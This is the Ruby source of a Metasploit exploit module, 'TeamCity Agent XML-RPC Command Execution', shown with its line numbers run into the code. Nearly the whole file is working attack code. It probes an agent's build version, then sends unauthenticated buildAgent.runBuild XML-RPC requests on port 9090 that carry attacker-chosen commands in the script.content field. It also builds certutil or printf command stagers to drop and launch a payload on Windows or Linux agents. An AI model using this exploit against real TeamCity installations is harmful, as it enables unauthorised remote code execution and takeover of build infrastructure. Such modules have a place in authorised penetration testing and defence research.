Path: blob/master/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'TeamCity Agent XML-RPC Command Execution',16'Description' => %q{17This module allows remote code execution on TeamCity Agents configured18to use bidirectional communication via xml-rpc. In bidirectional mode19the TeamCity server pushes build commands to the Build Agents over port20TCP/9090 without requiring authentication. Up until version 10 this was21the default configuration. This module supports TeamCity agents from22version 6.0 onwards.23},24'Author' => ['Dylan Pindur <[email protected]>'],25'License' => MSF_LICENSE,26'References' => [27['URL', 'https://www.tenable.com/plugins/nessus/94675']28],29'Platform' => %w[linux win],30'Targets' => [31['Windows', { 'Platform' => 'win' }],32['Linux', { 'Platform' => 'linux' }]33],34'DefaultTarget' => 0,35'DisclosureDate' => '2015-04-14',36'Notes' => {37'Reliability' => UNKNOWN_RELIABILITY,38'Stability' => UNKNOWN_STABILITY,39'SideEffects' => UNKNOWN_SIDE_EFFECTS40}41)42)4344deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')45register_options(46[47Opt::RPORT(9090),48OptString.new(49'CMD',50[false, 'Execute this command instead of using command stager', '']51)52]53)54end5556def check57version = determine_version58if !version.nil? && version >= 1577259Exploit::CheckCode::Appears60else61Exploit::CheckCode::Safe62end63end6465def exploit66version = determine_version67if version.nil?68fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')69else70print_status("Found TeamCity Agent running build version #{version}")71end7273unless datastore['CMD'].blank?74print_status('Executing user supplied command')75execute_command(datastore['CMD'], version)76return77end7879case target['Platform']80when 'linux'81linux_stager(version)82when 'win'83windows_stager(version)84else85fail_with(Failure::NoTarget, 'Unsupported target platform!')86end87end8889def windows_stager(version)90print_status('Constructing Windows payload')9192stager = generate_cmdstager(93flavor: :certutil,94temp: '.',95concat_operator: "\n",96nodelete: true97).join("\n")98stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')99100xml_payload = build_request(stager, version)101if xml_payload.nil?102fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")103end104105print_status("Found compatible build config for TeamCity build #{version}")106send_request(xml_payload)107end108109def linux_stager(version)110print_status('Constructing Linux payload')111112stager = generate_cmdstager(113flavor: :printf,114temp: '.',115concat_operator: "\n",116nodelete: true117).join("\n")118stager << ' &'119120xml_payload = build_request(stager, version)121if xml_payload.nil?122fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")123end124125print_status("Found compatible build config for TeamCity build #{version}")126send_request(xml_payload)127end128129def execute_command(cmd, version)130xml_payload = build_request(cmd, version)131132if xml_payload.nil?133fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")134end135136print_status("Found compatible build config for TeamCity build #{version}")137send_request(xml_payload)138end139140def determine_version141xml_payload = %(142<?xml version="1.0" encoding="UTF-8"?>143<methodCall>144<methodName>buildAgent.getVersion</methodName>145<params></params>146</methodCall>147)148res = send_request_cgi(149{150'uri' => '/',151'method' => 'POST',152'ctype' => 'text/xml',153'data' => xml_payload.strip!154},15510156)157158if !res.nil? && res.code == 200159xml_doc = res.get_xml_document160if xml_doc.errors.empty?161val = xml_doc.xpath('/methodResponse/params/param/value')162if val.length == 1163return val.text.to_i164end165end166end167return nil168end169170def send_request(xml_payload)171res = send_request_cgi(172{173'uri' => '/',174'method' => 'POST',175'ctype' => 'text/xml',176'data' => xml_payload177},17810179)180181if !res.nil? && res.code == 200182print_status("Successfully sent build configuration")183else184print_status("Failed to send build configuration")185end186end187188def build_request(script_content, version)189case version190when 0..15771191return nil192when 15772..17794193return req_teamcity_6(script_content)194when 17795..21240195return req_teamcity_6_5(script_content)196when 21241..27401197return req_teamcity_7(script_content)198when 27402..32059199return req_teamcity_8(script_content)200when 32060..42001201return req_teamcity_9(script_content)202when 42002..46532203return req_teamcity_10(script_content)204else205return req_teamcity_2017(script_content)206end207end208209def req_teamcity_2017(script_content)210build_code = Rex::Text.rand_text_alpha(8)211build_id = Rex::Text.rand_text_numeric(8)212xml_payload = %(213<?xml version="1.0" encoding="UTF-8"?>214<methodCall>215<methodName>buildAgent.runBuild</methodName>216<params>217<param>218<value>219<![CDATA[220<AgentBuild>221<myBuildId>#{build_id}</myBuildId>222<myBuildTypeId>x</myBuildTypeId>223<myBuildTypeExternalId>x</myBuildTypeExternalId>224<myCheckoutType>ON_AGENT</myCheckoutType>225<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>226<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>227<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>228<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>229<myServerParameters class="StringTreeMap">230<k>system.build.number</k>231<v>0</v>232</myServerParameters>233<myAccessCode/>234<myArtifactDependencies/>235<myArtifactPaths/>236<myArtifactStorageSettings/>237<myBuildFeatures/>238<myBuildTypeOptions/>239<myFullCheckoutReasons/>240<myParametersSpecs class="StringTreeMap"/>241<myPersonalVcsChanges/>242<myUserBuildParameters/>243<myVcsChanges/>244<myVcsRootCurrentRevisions class="tree-map"/>245<myVcsRootEntries/>246<myVcsRootOldRevisions class="tree-map"/>247<myBuildRunners>248<jetbrains.buildServer.agentServer.BuildRunnerData>249<myId>x</myId>250<myIsDisabled>false</myIsDisabled>251<myRunType>simpleRunner</myRunType>252<myRunnerName>x</myRunnerName>253<myChildren class="list"/>254<myServerParameters class="tree-map">255<entry>256<string>teamcity.build.step.name</string>257<string>x</string>258</entry>259</myServerParameters>260<myRunnerParameters class="tree-map">261<entry>262<string>script.content</string>263<string>#{script_content}</string>264</entry>265<entry>266<string>teamcity.step.mode</string>267<string>default</string>268</entry>269<entry>270<string>use.custom.script</string>271<string>true</string>272</entry>273</myRunnerParameters>274</jetbrains.buildServer.agentServer.BuildRunnerData>275</myBuildRunners>276</AgentBuild>277]]>278</value>279</param>280</params>281</methodCall>282)283return xml_payload.strip!284end285286def req_teamcity_10(script_content)287build_code = Rex::Text.rand_text_alpha(8)288build_id = Rex::Text.rand_text_numeric(8)289xml_payload = %(290<?xml version="1.0" encoding="UTF-8"?>291<methodCall>292<methodName>buildAgent.runBuild</methodName>293<params>294<param>295<value>296<![CDATA[297<AgentBuild>298<myBuildId>#{build_id}</myBuildId>299<myBuildTypeId>x</myBuildTypeId>300<myBuildTypeExternalId>x</myBuildTypeExternalId>301<myCheckoutType>ON_AGENT</myCheckoutType>302<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>303<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>304<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>305<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>306<myServerParameters class="StringTreeMap">307<k>system.build.number</k>308<v>0</v>309</myServerParameters>310<myAccessCode/>311<myArtifactDependencies/>312<myArtifactPaths/>313<myBuildFeatures/>314<myBuildTypeOptions/>315<myFullCheckoutReasons/>316<myParametersSpecs class="StringTreeMap"/>317<myPersonalVcsChanges/>318<myUserBuildParameters/>319<myVcsChanges/>320<myVcsRootCurrentRevisions class="tree-map"/>321<myVcsRootEntries/>322<myVcsRootOldRevisions class="tree-map"/>323<myBuildRunners>324<jetbrains.buildServer.agentServer.BuildRunnerData>325<myId>x</myId>326<myIsDisabled>false</myIsDisabled>327<myRunType>simpleRunner</myRunType>328<myRunnerName>x</myRunnerName>329<myChildren class="list"/>330<myServerParameters class="tree-map">331<entry>332<string>teamcity.build.step.name</string>333<string>x</string>334</entry>335</myServerParameters>336<myRunnerParameters class="tree-map">337<entry>338<string>script.content</string>339<string>#{script_content}</string>340</entry>341<entry>342<string>teamcity.step.mode</string>343<string>default</string>344</entry>345<entry>346<string>use.custom.script</string>347<string>true</string>348</entry>349</myRunnerParameters>350</jetbrains.buildServer.agentServer.BuildRunnerData>351</myBuildRunners>352</AgentBuild>353]]>354</value>355</param>356</params>357</methodCall>358)359return xml_payload.strip!360end361362def req_teamcity_9(script_content)363build_id = Rex::Text.rand_text_numeric(8)364xml_payload = %(365<?xml version="1.0" encoding="UTF-8"?>366<methodCall>367<methodName>buildAgent.runBuild</methodName>368<params>369<param>370<value>371<![CDATA[372<AgentBuild>373<myBuildId>#{build_id}</myBuildId>374<myBuildTypeId>x</myBuildTypeId>375<myBuildTypeExternalId>x</myBuildTypeExternalId>376<myCheckoutType>ON_AGENT</myCheckoutType>377<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>378<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>379<myServerParameters class="StringTreeMap">380<k>system.build.number</k>381<v>0</v>382</myServerParameters>383<myAccessCode/>384<myArtifactDependencies/>385<myArtifactPaths/>386<myBuildFeatures/>387<myBuildTypeOptions/>388<myFullCheckoutReasons/>389<myPersonalVcsChanges/>390<myUserBuildParameters/>391<myVcsChanges/>392<myVcsRootCurrentRevisions class="tree-map"/>393<myVcsRootEntries/>394<myVcsRootOldRevisions class="tree-map"/>395<myBuildRunners>396<jetbrains.buildServer.agentServer.BuildRunnerData>397<myId>x</myId>398<myIsDisabled>false</myIsDisabled>399<myRunType>simpleRunner</myRunType>400<myRunnerName>x</myRunnerName>401<myChildren class="list"/>402<myServerParameters class="tree-map">403<entry>404<string>teamcity.build.step.name</string>405<string>x</string>406</entry>407</myServerParameters>408<myRunnerParameters class="tree-map">409<entry>410<string>script.content</string>411<string>#{script_content}</string>412</entry>413<entry>414<string>teamcity.step.mode</string>415<string>default</string>416</entry>417<entry>418<string>use.custom.script</string>419<string>true</string>420</entry>421</myRunnerParameters>422</jetbrains.buildServer.agentServer.BuildRunnerData>423</myBuildRunners>424</AgentBuild>425]]>426</value>427</param>428</params>429</methodCall>430)431return xml_payload.strip!432end433434def req_teamcity_8(script_content)435build_id = Rex::Text.rand_text_numeric(8)436xml_payload = %(437<?xml version="1.0" encoding="UTF-8"?>438<methodCall>439<methodName>buildAgent.runBuild</methodName>440<params>441<param>442<value>443<![CDATA[444<AgentBuild>445<myBuildId>#{build_id}</myBuildId>446<myBuildTypeId>x</myBuildTypeId>447<myCheckoutType>ON_AGENT</myCheckoutType>448<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>449<myServerParameters class="tree-map">450<entry>451<string>system.build.number</string>452<string>0</string>453</entry>454</myServerParameters>455<myAccessCode/>456<myArtifactDependencies/>457<myArtifactPaths/>458<myBuildTypeOptions/>459<myFullCheckoutReasons/>460<myPersonalVcsChanges/>461<myUserBuildParameters/>462<myVcsChanges/>463<myVcsRootCurrentRevisions class="tree-map"/>464<myVcsRootEntries/>465<myVcsRootOldRevisions class="tree-map"/>466<myBuildRunners>467<jetbrains.buildServer.agentServer.BuildRunnerData>468<myId>x</myId>469<myIsDisabled>false</myIsDisabled>470<myRunType>simpleRunner</myRunType>471<myRunnerName>x</myRunnerName>472<myChildren class="list"/>473<myServerParameters class="tree-map">474<entry>475<string>teamcity.build.step.name</string>476<string>x</string>477</entry>478</myServerParameters>479<myRunnerParameters class="tree-map">480<entry>481<string>script.content</string>482<string>#{script_content}</string>483</entry>484<entry>485<string>teamcity.step.mode</string>486<string>default</string>487</entry>488<entry>489<string>use.custom.script</string>490<string>true</string>491</entry>492</myRunnerParameters>493</jetbrains.buildServer.agentServer.BuildRunnerData>494</myBuildRunners>495<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>496<myBuildFeatures/>497</AgentBuild>498]]>499</value>500</param>501</params>502</methodCall>503)504return xml_payload.strip!505end506507def req_teamcity_7(script_content)508build_id = Rex::Text.rand_text_numeric(8)509xml_payload = %(510<?xml version="1.0" encoding="UTF-8"?>511<methodCall>512<methodName>buildAgent.runBuild</methodName>513<params>514<param>515<value>516<![CDATA[517<AgentBuild>518<myBuildId>#{build_id}</myBuildId>519<myBuildTypeId>x</myBuildTypeId>520<myCheckoutType>ON_AGENT</myCheckoutType>521<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>522<myServerParameters class="tree-map">523<no-comparator/>524<entry>525<string>system.build.number</string>526<string>0</string>527</entry>528</myServerParameters>529<myVcsRootOldRevisions class="tree-map">530<no-comparator/>531</myVcsRootOldRevisions>532<myVcsRootCurrentRevisions class="tree-map">533<no-comparator/>534</myVcsRootCurrentRevisions>535<myAccessCode/>536<myArtifactDependencies/>537<myArtifactPaths/>538<myBuildTypeOptions/>539<myFullCheckoutReasons/>540<myPersonalVcsChanges/>541<myUserBuildParameters/>542<myVcsChanges/>543<myVcsRootEntries/>544<myBuildRunners>545<jetbrains.buildServer.agentServer.BuildRunnerData>546<myRunType>simpleRunner</myRunType>547<myRunnerName>x</myRunnerName>548<myRunnerParameters class="tree-map">549<no-comparator/>550<entry>551<string>script.content</string>552<string>#{script_content}</string>553</entry>554<entry>555<string>teamcity.step.mode</string>556<string>default</string>557</entry>558<entry>559<string>use.custom.script</string>560<string>true</string>561</entry>562</myRunnerParameters>563<myServerParameters class="tree-map">564<no-comparator/>565<entry>566<string>teamcity.build.step.name</string>567<string>x</string>568</entry>569</myServerParameters>570</jetbrains.buildServer.agentServer.BuildRunnerData>571</myBuildRunners>572<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>573<myBuildFeatures/>574</AgentBuild>575]]>576</value>577</param>578</params>579</methodCall>580)581return xml_payload.strip!582end583584def req_teamcity_6_5(script_content)585build_id = Rex::Text.rand_text_numeric(8)586xml_payload = %(587<?xml version="1.0" encoding="UTF-8"?>588<methodCall>589<methodName>buildAgent.run</methodName>590<params>591<param>592<value>593<![CDATA[594<AgentBuild>595<myBuildId>#{build_id}</myBuildId>596<myBuildTypeId>x</myBuildTypeId>597<myPersonal>false</myPersonal>598<myCheckoutType>ON_AGENT</myCheckoutType>599<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>600<myServerParameters class="tree-map">601<no-comparator/>602<entry>603<string>system.build.number</string>604<string>0</string>605</entry>606</myServerParameters>607<myVcsRootOldRevisions class="tree-map">608<no-comparator/>609</myVcsRootOldRevisions>610<myVcsRootCurrentRevisions class="tree-map">611<no-comparator/>612</myVcsRootCurrentRevisions>613<myAccessCode/>614<myArtifactDependencies/>615<myBuildTypeOptions/>616<myPersonalVcsChanges/>617<myUserBuildParameters/>618<myVcsChanges/>619<myVcsRootEntries/>620<myBuildRunners>621<jetbrains.buildServer.agentServer.BuildRunnerData>622<myRunType>simpleRunner</myRunType>623<myRunnerName>x</myRunnerName>624<myRunnerParameters class="tree-map">625<no-comparator/>626<entry>627<string>script.content</string>628<string>#{script_content}</string>629</entry>630<entry>631<string>use.custom.script</string>632<string>true</string>633</entry>634</myRunnerParameters>635<myServerParameters class="tree-map">636<no-comparator/>637</myServerParameters>638</jetbrains.buildServer.agentServer.BuildRunnerData>639</myBuildRunners>640</AgentBuild>641]]>642</value>643</param>644</params>645</methodCall>646)647return xml_payload.strip!648end649650def req_teamcity_6(script_content)651build_id = Rex::Text.rand_text_numeric(8)652xml_payload = %(653<?xml version="1.0" encoding="UTF-8"?>654<methodCall>655<methodName>buildAgent.run</methodName>656<params>657<param>658<value>659<![CDATA[660<AgentBuild>661<myBuildId>#{build_id}</myBuildId>662<myBuildTypeId>x</myBuildTypeId>663<myAccessCode></myAccessCode>664<myPersonal>false</myPersonal>665<myCheckoutType>ON_AGENT</myCheckoutType>666<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>667<myServerParameters class="tree-map">668<no-comparator/>669<entry>670<string>system.build.number</string>671<string>0</string>672</entry>673</myServerParameters>674<myVcsRootOldRevisions class="tree-map">675<no-comparator/>676</myVcsRootOldRevisions>677<myVcsRootCurrentRevisions class="tree-map">678<no-comparator/>679</myVcsRootCurrentRevisions>680<myArtifactDependencies/>681<myBuildTypeOptions/>682<myPersonalVcsChanges/>683<myUserBuildParameters/>684<myVcsChanges/>685<myVcsRootEntries/>686<myBuildRunners>687<jetbrains.buildServer.agentServer.BuildRunnerData>688<myRunType>simpleRunner</myRunType>689<myServerParameters class="tree-map">690<no-comparator/>691</myServerParameters>692<myRunnerParameters class="tree-map">693<no-comparator/>694<entry>695<string>script.content</string>696<string>#{script_content}</string>697</entry>698<entry>699<string>use.custom.script</string>700<string>true</string>701</entry>702</myRunnerParameters>703</jetbrains.buildServer.agentServer.BuildRunnerData>704</myBuildRunners>705</AgentBuild>706]]>707</value>708</param>709</params>710</methodCall>711)712return xml_payload.strip!713end714end715716717